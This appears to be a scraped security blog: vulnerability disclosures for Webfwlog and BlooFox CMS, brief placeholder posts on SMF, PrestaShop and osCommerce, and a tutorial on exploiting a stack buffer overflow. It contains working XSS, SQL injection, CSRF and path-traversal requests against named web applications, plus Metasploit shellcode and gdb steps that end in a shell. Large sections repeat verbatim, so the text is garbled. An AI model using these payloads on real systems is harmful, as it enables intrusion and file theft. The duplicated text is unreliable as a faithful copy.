Last days I found 2 XSS in Webfwlog Firewall Log Analyzer.
1. XSS is here:
---<request>---
GET /cms2/webfwlog-0.94/webfwlog/index.php?show_select_data_source="%3e%3cbody%2fonload%3dalert(3)%3e&restore=yes HTTP/1.1
Host: 10.149.14.58
(...)
Connection: close
---<request>---
Response should look like this:
---<response>---
<td align=left colspan="4">
<input type="hidden" name="show_select_data_source" value=""><body/onload=alert(3)>">
<input type="submit" name="action" value="Select Data Source">
---<response>---
2nd XSS is here:
---<request>---
POST /cms2/webfwlog-0.94/webfwlog/index.php HTTP/1.1
Host: 10.149.14.58
(...)
Content-Length: 173
page=home&report_order=Last+Accessed&show_select_data_source="%3e%3cbody%2fonload%3dalert(3)%3e&action=Select+Data+Source&ulog_table=&data_source=syslog&syslog_file=messages
---<request>---
And response for this one:
---<response>---
<td align=left colspan="4">
<input type="hidden" name="show_select_data_source" value=""><body/onload=alert(3)>">
<input type="submit" name="action" value="Select Data Source">
---<response>---
So as we can see this is the same parameter use (but not filtered) in two places.
Anyway, cool code! ;)
Friday, 31 January 2014
[EN] BlooFox CMS 0.5.0 - Multiple vulnerabilities
Last days I saw that someone found few vulnerabilities in CMS I presented at my course.
I decide to check it again, and below you will find few informations about it ;)
Enjoy.
All vulnerabilities was found for admin user logged in. I didn't build the site ;)
1. Multiple XSS in error from MySQL:
Parameters:
lang_id, blocked, tmpl_id, urls, lang_id, mod_rewrite, meta_charset,
meta_doctype, default_group, u1, u2, u7, u4, u30, u40, u8, u3, u5, u9,
u20, status, group_id, page, backend, content, settings, permissions,
tools, demo,object_w,object_d
Exaple request:
---<request>---
POST /k/bloofox/admin/index.php?mode=content&page=articles&action=new&page_id=0 HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 116
title=asdasd&text=asdasd&insert=top&blocked='"%3e%3cbody%2fonload%3dalert(3)%3e&startdate=&enddate=&send=Add+Article
---<request>---
And:
---<response>---
HTTP/1.1 200 OK
Date: Thu, 30 Jan 2014 12:46:16 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 448
Connection: close
Content-Type: text/html
</td></table><b>Database error:</b> Invalid SQL: INSERT INTO bfCMS_sys_content VALUES ('','','99965','','','asdasd','asdasd',''"><body/onload=alert(3)>','admin','1391085976','','','','')<br>
<b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"><body/onload=alert(3)>','admin','1391085976','','','','')' at line 1)<br>
<br>
Session halted.
---<response>---
2. CSRF (when adding project)
---<request>---POST /k/bloofox/admin/index.php?mode=settings&page=projects&action=new HTTP/1.1
Host:
(...)
Content-Length: 229
name=asdasd&lang_id=1&tmpl_id=1&urls=<CSRF_IS_POSSIBLE_HERE>&meta_title=asdasd&mod_rewrite=0&mail=&meta_copyright=&meta_desc=&meta_keywords=&meta_author=&meta_charset=ISO-8859-1&meta_doctype=XHTML+1.0+Transitional&default_group=1&send=Add+Project
---<request>---
3. Multiple SQL Injections
---<request>---
POST /k/bloofox/admin/index.php?mode=settings&page=projects&action=new HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 263
name=asdasd&lang_id='"%3e%3cbody%2fonload%3dalert(3)%3e&tmpl_id=1&urls=asdasd&meta_title=asdasd&mod_rewrite=0&mail=&meta_copyright=&meta_desc=&meta_keywords=&meta_author=&meta_charset=ISO-8859-1&meta_doctype=XHTML+1.0+Transitional&default_group=1&send=Add+Project
---<request>---
Or here:
---<request>---
POST /k/bloofox/admin/index.php?mode=content&page=articles&action=new&page_id=0 HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 116
title=asdasd&text=asdasd&insert=top&blocked='HERE&startdate=&enddate=&send=Add+Article
---<request>---
Or here:
---<request>---
POST /k/bloofox/admin/index.php?mode=settings&page=plugins&action=edit HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 58
status='"%3e%3cbody%2fonload%3dalert(3)%3e&pid=1&send=Save
---<request>---
Parameters:
a) tmpl_id
---<code>---
./system/class_admincenter.php:119:
$db->query("SELECT name FROM ".$tbl_prefix."sys_template WHERE tid = '".$tmpl_id."' ORDER BY tid");
---<code>---
b) urls
---<code>---
./admin/include/inc_settings_projects.php:130:
$db->query("UPDATE ".$tbl_prefix."sys_config SET urls = '".$_POST['urls']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");
---<code>---
c) lang_id
---<code>---
./system/class_admincenter.php:104:
$db->query("SELECT name FROM ".$tbl_prefix."sys_lang WHERE lid = '".$lang_id."' ORDER BY lid");
---<code>---
d) mod_rewrite
---<code>---
./admin/include/inc_settings_projects.php:146:
$db->query("UPDATE ".$tbl_prefix."sys_config SET mod_rewrite = '".$_POST['mod_rewrite']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");
---<code>---
e) meta_charset
---<code>---
./admin/include/inc_settings_projects.php:142:
$db->query("UPDATE ".$tbl_prefix."sys_config SET meta_charset = '".$_POST['meta_charset']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");
---<code>---
f) meta_doctype
---<code>---
./admin/include/inc_settings_projects.php:143:
$db->query("UPDATE ".$tbl_prefix."sys_config SET meta_doctype = '".$_POST['meta_doctype']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");
---<code>---
g) default_group
---<code>---
./plugins/register_form_simple/register.php:
121: $db2->query("SELECT name FROM ".$tbl_prefix."sys_usergroup WHERE gid = '".$sys_config_vars["default_group"]."' ORDER BY gid");
---<code>---
h) from 'u1' to 'u11' and also u20,u30,u40 parametersÅ
---<code>---
k@lab:~/public_html/bloofox$ grep -n -r -e "UPDATE" ./ | grep "sys_setting SET setting_value =" | grep POST
./admin/include/inc_settings_general.php:27: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u1']."' WHERE sid = '1' LIMIT 1");
./admin/include/inc_settings_general.php:28: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u2']."' WHERE sid = '2' LIMIT 1");
./admin/include/inc_settings_general.php:29: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u3']."' WHERE sid = '3' LIMIT 1");
./admin/include/inc_settings_general.php:30: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u4']."' WHERE sid = '4' LIMIT 1");
./admin/include/inc_settings_general.php:31: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u5']."' WHERE sid = '5' LIMIT 1");
./admin/include/inc_settings_general.php:35: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u6']."' WHERE sid = '6' LIMIT 1");
./admin/include/inc_settings_general.php:41: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u7']."' WHERE sid = '7' LIMIT 1");
./admin/include/inc_settings_general.php:42: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u8']."' WHERE sid = '8' LIMIT 1");
./admin/include/inc_settings_general.php:43: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u9']."' WHERE sid = '9' LIMIT 1");
./admin/include/inc_settings_general.php:47: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u10']."' WHERE sid = '10' LIMIT 1");
./admin/include/inc_settings_general.php:57: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u12']."' WHERE sid = '12' LIMIT 1");
./admin/include/inc_settings_general.php:65: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u20']."' WHERE sid = '20' LIMIT 1");
./admin/include/inc_settings_general.php:66: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u30']."' WHERE sid = '30' LIMIT 1");
./admin/include/inc_settings_general.php:67: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u40']."' WHERE sid = '40' LIMIT 1");
k@lab:~/public_html/bloofox$
---<code>---
i) status
---<code>---
./admin/include/inc_user_user.php:
434: $db->query("SELECT uid FROM ".$tbl_prefix."sys_user WHERE status LIKE '".$_SESSION["filter_user"]."'");
./admin/include/inc_user_user.php:
442: $db->query("SELECT * FROM ".$tbl_prefix."sys_user WHERE status LIKE '".$_SESSION["filter_user"]."' ORDER BY uid LIMIT ".$start.",".$limit."");
---<code>---
j) pid
---<code>---
./admin/include/inc_settings_plugins.php:
137: $db->query("SELECT pid,name,status FROM ".$tbl_prefix."sys_plugin WHERE pid = '".$_GET['pid']."' ORDER BY pid LIMIT 1");
---<code>---
Also:
backend, content, settings, permissions, tools, demo, object_w,object_d
4. Local file include:
http://ip/k/bloofox/admin/index.php?mode=settings&page=editor&fileurl=../../../../../../../../../../../../../../etc/passwd
Code:
---
k@lab:~/public_html/bloofox$ cat -n admin/include/inc_settings_editor.php |less
(...)
60 if(isset($_GET["fileurl"])) {
61 $fileurl = "../".$_GET["fileurl"]; [1]
62 }
63
64 if(file_exists($fileurl)) {
65 $filelength = filesize($fileurl);
66 $readfile = fopen($fileurl,"r"); [2]
67 $file = fread($readfile,$filelength);
68 fclose($readfile);
69 }
(...)
---
5. XSS over GEThttp://10.149.14.77/k/bloofox/admin/index.php?mode=settings&page=editor&fileurl='><body onload=alert(1)>
And so on... ;)
I suggest zou to read this source.
It is really interesting. ;)
I decide to check it again, and below you will find few informations about it ;)
Enjoy.
All vulnerabilities was found for admin user logged in. I didn't build the site ;)
1. Multiple XSS in error from MySQL:
Parameters:
lang_id, blocked, tmpl_id, urls, lang_id, mod_rewrite, meta_charset,
meta_doctype, default_group, u1, u2, u7, u4, u30, u40, u8, u3, u5, u9,
u20, status, group_id, page, backend, content, settings, permissions,
tools, demo,object_w,object_d
Exaple request:
---<request>---
POST /k/bloofox/admin/index.php?mode=content&page=articles&action=new&page_id=0 HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 116
title=asdasd&text=asdasd&insert=top&blocked='"%3e%3cbody%2fonload%3dalert(3)%3e&startdate=&enddate=&send=Add+Article
---<request>---
And:
---<response>---
HTTP/1.1 200 OK
Date: Thu, 30 Jan 2014 12:46:16 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 448
Connection: close
Content-Type: text/html
</td></table><b>Database error:</b> Invalid SQL: INSERT INTO bfCMS_sys_content VALUES ('','','99965','','','asdasd','asdasd',''"><body/onload=alert(3)>','admin','1391085976','','','','')<br>
<b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"><body/onload=alert(3)>','admin','1391085976','','','','')' at line 1)<br>
<br>
Session halted.
---<response>---
2. CSRF (when adding project)
---<request>---POST /k/bloofox/admin/index.php?mode=settings&page=projects&action=new HTTP/1.1
Host:
(...)
Content-Length: 229
name=asdasd&lang_id=1&tmpl_id=1&urls=<CSRF_IS_POSSIBLE_HERE>&meta_title=asdasd&mod_rewrite=0&mail=&meta_copyright=&meta_desc=&meta_keywords=&meta_author=&meta_charset=ISO-8859-1&meta_doctype=XHTML+1.0+Transitional&default_group=1&send=Add+Project
---<request>---
3. Multiple SQL Injections
---<request>---
POST /k/bloofox/admin/index.php?mode=settings&page=projects&action=new HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 263
name=asdasd&lang_id='"%3e%3cbody%2fonload%3dalert(3)%3e&tmpl_id=1&urls=asdasd&meta_title=asdasd&mod_rewrite=0&mail=&meta_copyright=&meta_desc=&meta_keywords=&meta_author=&meta_charset=ISO-8859-1&meta_doctype=XHTML+1.0+Transitional&default_group=1&send=Add+Project
---<request>---
Or here:
---<request>---
POST /k/bloofox/admin/index.php?mode=content&page=articles&action=new&page_id=0 HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 116
title=asdasd&text=asdasd&insert=top&blocked='HERE&startdate=&enddate=&send=Add+Article
---<request>---
Or here:
---<request>---
POST /k/bloofox/admin/index.php?mode=settings&page=plugins&action=edit HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 58
status='"%3e%3cbody%2fonload%3dalert(3)%3e&pid=1&send=Save
---<request>---
Parameters:
a) tmpl_id
---<code>---
./system/class_admincenter.php:119:
$db->query("SELECT name FROM ".$tbl_prefix."sys_template WHERE tid = '".$tmpl_id."' ORDER BY tid");
---<code>---
b) urls
---<code>---
./admin/include/inc_settings_projects.php:130:
$db->query("UPDATE ".$tbl_prefix."sys_config SET urls = '".$_POST['urls']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");
---<code>---
c) lang_id
---<code>---
./system/class_admincenter.php:104:
$db->query("SELECT name FROM ".$tbl_prefix."sys_lang WHERE lid = '".$lang_id."' ORDER BY lid");
---<code>---
d) mod_rewrite
---<code>---
./admin/include/inc_settings_projects.php:146:
$db->query("UPDATE ".$tbl_prefix."sys_config SET mod_rewrite = '".$_POST['mod_rewrite']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");
---<code>---
e) meta_charset
---<code>---
./admin/include/inc_settings_projects.php:142:
$db->query("UPDATE ".$tbl_prefix."sys_config SET meta_charset = '".$_POST['meta_charset']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");
---<code>---
f) meta_doctype
---<code>---
./admin/include/inc_settings_projects.php:143:
$db->query("UPDATE ".$tbl_prefix."sys_config SET meta_doctype = '".$_POST['meta_doctype']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");
---<code>---
g) default_group
---<code>---
./plugins/register_form_simple/register.php:
121: $db2->query("SELECT name FROM ".$tbl_prefix."sys_usergroup WHERE gid = '".$sys_config_vars["default_group"]."' ORDER BY gid");
---<code>---
h) from 'u1' to 'u11' and also u20,u30,u40 parametersÅ
---<code>---
k@lab:~/public_html/bloofox$ grep -n -r -e "UPDATE" ./ | grep "sys_setting SET setting_value =" | grep POST
./admin/include/inc_settings_general.php:27: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u1']."' WHERE sid = '1' LIMIT 1");
./admin/include/inc_settings_general.php:28: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u2']."' WHERE sid = '2' LIMIT 1");
./admin/include/inc_settings_general.php:29: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u3']."' WHERE sid = '3' LIMIT 1");
./admin/include/inc_settings_general.php:30: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u4']."' WHERE sid = '4' LIMIT 1");
./admin/include/inc_settings_general.php:31: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u5']."' WHERE sid = '5' LIMIT 1");
./admin/include/inc_settings_general.php:35: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u6']."' WHERE sid = '6' LIMIT 1");
./admin/include/inc_settings_general.php:41: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u7']."' WHERE sid = '7' LIMIT 1");
./admin/include/inc_settings_general.php:42: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u8']."' WHERE sid = '8' LIMIT 1");
./admin/include/inc_settings_general.php:43: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u9']."' WHERE sid = '9' LIMIT 1");
./admin/include/inc_settings_general.php:47: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u10']."' WHERE sid = '10' LIMIT 1");
./admin/include/inc_settings_general.php:57: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u12']."' WHERE sid = '12' LIMIT 1");
./admin/include/inc_settings_general.php:65: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u20']."' WHERE sid = '20' LIMIT 1");
./admin/include/inc_settings_general.php:66: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u30']."' WHERE sid = '30' LIMIT 1");
./admin/include/inc_settings_general.php:67: $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u40']."' WHERE sid = '40' LIMIT 1");
k@lab:~/public_html/bloofox$
---<code>---
i) status
---<code>---
./admin/include/inc_user_user.php:
434: $db->query("SELECT uid FROM ".$tbl_prefix."sys_user WHERE status LIKE '".$_SESSION["filter_user"]."'");
./admin/include/inc_user_user.php:
442: $db->query("SELECT * FROM ".$tbl_prefix."sys_user WHERE status LIKE '".$_SESSION["filter_user"]."' ORDER BY uid LIMIT ".$start.",".$limit."");
---<code>---
j) pid
---<code>---
./admin/include/inc_settings_plugins.php:
137: $db->query("SELECT pid,name,status FROM ".$tbl_prefix."sys_plugin WHERE pid = '".$_GET['pid']."' ORDER BY pid LIMIT 1");
---<code>---
Also:
backend, content, settings, permissions, tools, demo, object_w,object_d
4. Local file include:
http://ip/k/bloofox/admin/index.php?mode=settings&page=editor&fileurl=../../../../../../../../../../../../../../etc/passwd
Code:
---
k@lab:~/public_html/bloofox$ cat -n admin/include/inc_settings_editor.php |less
(...)
60 if(isset($_GET["fileurl"])) {
61 $fileurl = "../".$_GET["fileurl"]; [1]
62 }
63
64 if(file_exists($fileurl)) {
65 $filelength = filesize($fileurl);
66 $readfile = fopen($fileurl,"r"); [2]
67 $file = fread($readfile,$filelength);
68 fclose($readfile);
69 }
(...)
---
5. XSS over GEThttp://10.149.14.77/k/bloofox/admin/index.php?mode=settings&page=editor&fileurl='><body onload=alert(1)>
And so on... ;)
I suggest zou to read this source.
It is really interesting. ;)
[EN] Simple Machine Forum (SMF) 2.0.7 - XSS
In latest version of SMF I found a tricky XSS vulnerability.
As the vendor said, this is a low priority, because it can be exploited
only when admin user is logged in.
Post will be updated after patch release (in new version).
As the vendor said, this is a low priority, because it can be exploited
only when admin user is logged in.
Post will be updated after patch release (in new version).
[EN] PrestaShop 1.5.6.2 - Multiple bugs
Last days I started to check code of latest PrestaShop and I found few vulnerabilities
in code.
Post will be updated as soon as vendor will answer, what does he think about it.
in code.
Post will be updated as soon as vendor will answer, what does he think about it.
[EN] osCommerce 3.0.2 - Multiple XSS
In latest version of osCommerce (3.x line) I found few XSS bugs.
As they are only exploitable when admin user is logged in,
Support of osCommerce said that this is low priority bug.
It will not be published until patch release.
By the way I must say that Support Team was very fast in reply for my message,
so big plus guys! ;)
As they are only exploitable when admin user is logged in,
Support of osCommerce said that this is low priority bug.
It will not be published until patch release.
By the way I must say that Support Team was very fast in reply for my message,
so big plus guys! ;)
Tuesday, 10 December 2013
[EN] Buffer overflows - my short review
Document was created to consolidate knowledge about buffer overflows.
1. Why exploit is not working on the modern system(s)?
Because of development of new programs, systems and protections attackers
are working on new techniques to bypass those protections.
2. What to do to check what security settings we have at our system?
In the machine like mine (Debian 7, with `uname`:
Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 GNU/Linux)
we can do it in a few ways, for example:
a) ldd - print shared library dependencies
Typing:
$ ldd <ourprog>
few times, we can check if addresses in memory have changed. It will help
us to specify if in our system we have enabled so called ASLR(1).
b) we can also check if ASLR is enabled by default by reading the value
from 'randomize_va_space' file:
$ cat /proc/sys/kernel/randomize_va_space
Any other value than 0 tells us that addresses will be changed.
In case of learning process it's good to change this (default) value
to zero. We can do it by:
# echo "0" > /proc/sys/kernel/randomize_va_space
c) Tobias Klein(2) wrote a nice tool to check what security setting
was added to our binary. This tool you can find at his page(2).
3. Where can we start?
We can start everywhere where we will find a computer. ;)
Better question is: what we should know to start understanding,
not only rewriting examples from books and articles.
So, a short list:
-- programming in C (you not need to be 'ace', you need only few
chapters from any book about C where you will find information about:
arrays, pointers, receiving and displaying characters and probably few
things about memory management).
-- programming in Python - because many tools (for example fuzzers) can
be created really fast.(3)
-- ASM - the magic and the scare, super difficult and super easy at the
same time. In my case the best idea to learn this, was a paper and pen (4)
and writting names of registers (for example Intel's), what they means and
for what we can use them. Nice idea to memorization.
Next step is getting used to all super-magic shortcuts like add, movl, call
and so on. (You can write it down too. The more you practice, the better.)
-- if it's still not enough for you, good start should be also:
$ man gcc
(try here (5)) and check what (changes and) options are available during
the compilation (what will be usefull to understand what protections
you can disable at the compilation stage.)
4. Example
We will need some example vulnerable to attack.
At my blog I decide to write about few cases how to exploit RCE
in webapps (6) so in a similar way we will try to find a vulnerable
example in C language.
https://github.com/search?q=extension%3AC+strcpy%28argv[1]%29&ref=cmdform
Searching in this way we will find few examples of 'lessons' described
by someone else. We will use this examples. First answer for our search
query is a program called 'vulnerable.c':
---<code>---
void main(int argc, char *argv[])
{
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
---<code>---
Making sure, that "randomize_va_space" file has value '0', we will compile(7)
our vulnerable program:
* -ggdb - "Produce debugging information for use by GDB"
* -g - "Produce debugging information in the operating system's native format"
* -fno-stack-protector - disables the protection
k@debian:~/src/bugz$ gcc vulnerable.c -o vulnerable -ggdb -g -fno-stack-protector
We will fill the buffer of our program, to overflow it.
$ gdb -q ./vulnerable
(gdb) r `perl -e 'print "A"x524,"B"x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/k/src/bugz/vulnerable `perl -e 'print "A"x524,"B"x4'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
Ok. Program crashed.
No we will get a shellcode (from Metasploit from BackTrack5(8)).
To get on, we will use 'msfpayload':
root@bt:/pentest/exploits/framework3# msfpayload linux/x86/exec CMD=dash R |
msfencode -a x86 -e x86/alpha_mixed -b "\x00\x0a\x0d" -t c
[*] x86/alpha_mixed succeeded with size 142 (iteration=1)
unsigned char buf[] =
"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x43\x5a\x56\x6b\x56\x38\x5a\x39\x43\x62\x45\x36\x43\x58\x56"
"\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51\x63\x50\x68"
"\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b"
"\x53\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34"
"\x51\x71\x50\x73\x50\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58"
"\x61\x58\x4d\x4f\x70\x41\x41";
Using this command we will have a shellcode ready to use as our buffer value.
To get this working we must remember that we will need to substract from
our 'overflow'-value (524*"A"), length of our shellcode (142 bytes in
this case).
To exploit this vulnerability we will need this kind of situation:
[ A*382 ] + [ shellcode ] + [ B*4 ]
to set EIP (instruction pointer, holds the program counter, current instruction
address) to our "BBBB" string.
So now in 'gdb' we will use this string:
(gdb) r `perl -e 'print "A"x382,"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49
\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a
\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42
\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x56\x6b\x56\x38\x5a\x39
\x43\x62\x45\x36\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51
\x63\x50\x68\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b\x53
\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34\x51\x71\x50\x73\x50
\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58\x61\x58\x4d\x4f\x70\x41\x41","B"x4'`
Our output should look like this:
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip ebp esp
eip 0x42424242 0x42424242
ebp 0x4141704f 0x4141704f
esp 0xbffff540 0xbffff540
Ok. Now we must localize the beginning of our shellcode in memory:
(gdb) x/600wx $esp
(...)
0xbffff880: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff890: 0x41414141 0x41414141 0x41414141 0xc6d9e189
0xbffff8a0: 0x58f471d9 0x49495950 0x49494949 0x49494949
0xbffff8b0: 0x43434343 0x51374343 0x58416a5a 0x30413050
(...)
Ok. Let's check if the answer from gdb is the real one, which we want to
call by our overflow:
(gdb) x/s 0xbffff890
0xbffff890: 'A' <repeats 12 times>"\211, \341\331\306\331q\
364XPYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJICZVkV8Z9
CbE6CXVMRCLIZGCXToQcPhEPRHVOPbE9PnMYKSCbIxC5C0GpGpE4QqPsPhGpCgV3
LIXaXMOpAABBBB"
Almost good.
Instead of letter "A" we will use NOP ("no operation") instruction. It
will let us 'slide' to our address (where we want to return). Instead
of mentioned "B" value, let's use the value we've found before:
(gdb) r `perl -e 'print "\x90"x382,"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50
\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37
\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32
\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x56
\x6b\x56\x38\x5a\x39\x43\x62\x45\x36\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a
\x47\x43\x58\x54\x6f\x51\x63\x50\x68\x45\x50\x52\x48\x56\x4f\x50\x62\x45
\x39\x50\x6e\x4d\x59\x4b\x53\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47
\x70\x45\x34\x51\x71\x50\x73\x50\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58
\x61\x58\x4d\x4f\x70\x41\x41","\x90\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/k/src/bugz/vulnerable `perl -e 'print "\x90"x382,
"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49
\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30
\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50
\x38\x41\x42\x75\x4a\x49\x43\x5a\x56\x6b\x56\x38\x5a\x39\x43\x62\x45\x36
\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51\x63\x50\x68
\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b\x53\x43\x62
\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34\x51\x71\x50\x73\x50\x68
\x47\x70\x43\x67\x56\x33\x4c\x49\x58\x61\x58\x4d\x4f\x70\x41\x41",
"\x90\xf8\xff\xbf"'`
process 4336 is executing new program: /bin/dash
$ uname -a
Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 GNU/Linux
$
And that's all. Now we have exploited a buffer overflow vulnerability.
Thanks!
1) ASLR
http://en.wikipedia.org/wiki/Address_space_layout_randomization
2) Tobias Klein -
http://www.trapkit.de
3) Python
https://wiki.python.org/moin/BeginnersGuide
http://en.wikibooks.org/wiki/Python_Programming
4) ASM
http://en.wikibooks.org/wiki/X86_Assembly
5) GCC
http://gcc.gnu.org/releases.html
6) Finding vulnerabilities at github.com
http://hauntit.blogspot.com/2013/06/en-rce-another-lesson.html
7) GCC Debugging options
http://gcc.gnu.org/onlinedocs/gcc-4.1.2/gcc/Debugging-Options.html
8) Metasploit
http://www.metasploit.com
1. Why exploit is not working on the modern system(s)?
Because of development of new programs, systems and protections attackers
are working on new techniques to bypass those protections.
2. What to do to check what security settings we have at our system?
In the machine like mine (Debian 7, with `uname`:
Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 GNU/Linux)
we can do it in a few ways, for example:
a) ldd - print shared library dependencies
Typing:
$ ldd <ourprog>
few times, we can check if addresses in memory have changed. It will help
us to specify if in our system we have enabled so called ASLR(1).
b) we can also check if ASLR is enabled by default by reading the value
from 'randomize_va_space' file:
$ cat /proc/sys/kernel/randomize_va_space
Any other value than 0 tells us that addresses will be changed.
In case of learning process it's good to change this (default) value
to zero. We can do it by:
# echo "0" > /proc/sys/kernel/randomize_va_space
c) Tobias Klein(2) wrote a nice tool to check what security setting
was added to our binary. This tool you can find at his page(2).
3. Where can we start?
We can start everywhere where we will find a computer. ;)
Better question is: what we should know to start understanding,
not only rewriting examples from books and articles.
So, a short list:
-- programming in C (you not need to be 'ace', you need only few
chapters from any book about C where you will find information about:
arrays, pointers, receiving and displaying characters and probably few
things about memory management).
-- programming in Python - because many tools (for example fuzzers) can
be created really fast.(3)
-- ASM - the magic and the scare, super difficult and super easy at the
same time. In my case the best idea to learn this, was a paper and pen (4)
and writting names of registers (for example Intel's), what they means and
for what we can use them. Nice idea to memorization.
Next step is getting used to all super-magic shortcuts like add, movl, call
and so on. (You can write it down too. The more you practice, the better.)
-- if it's still not enough for you, good start should be also:
$ man gcc
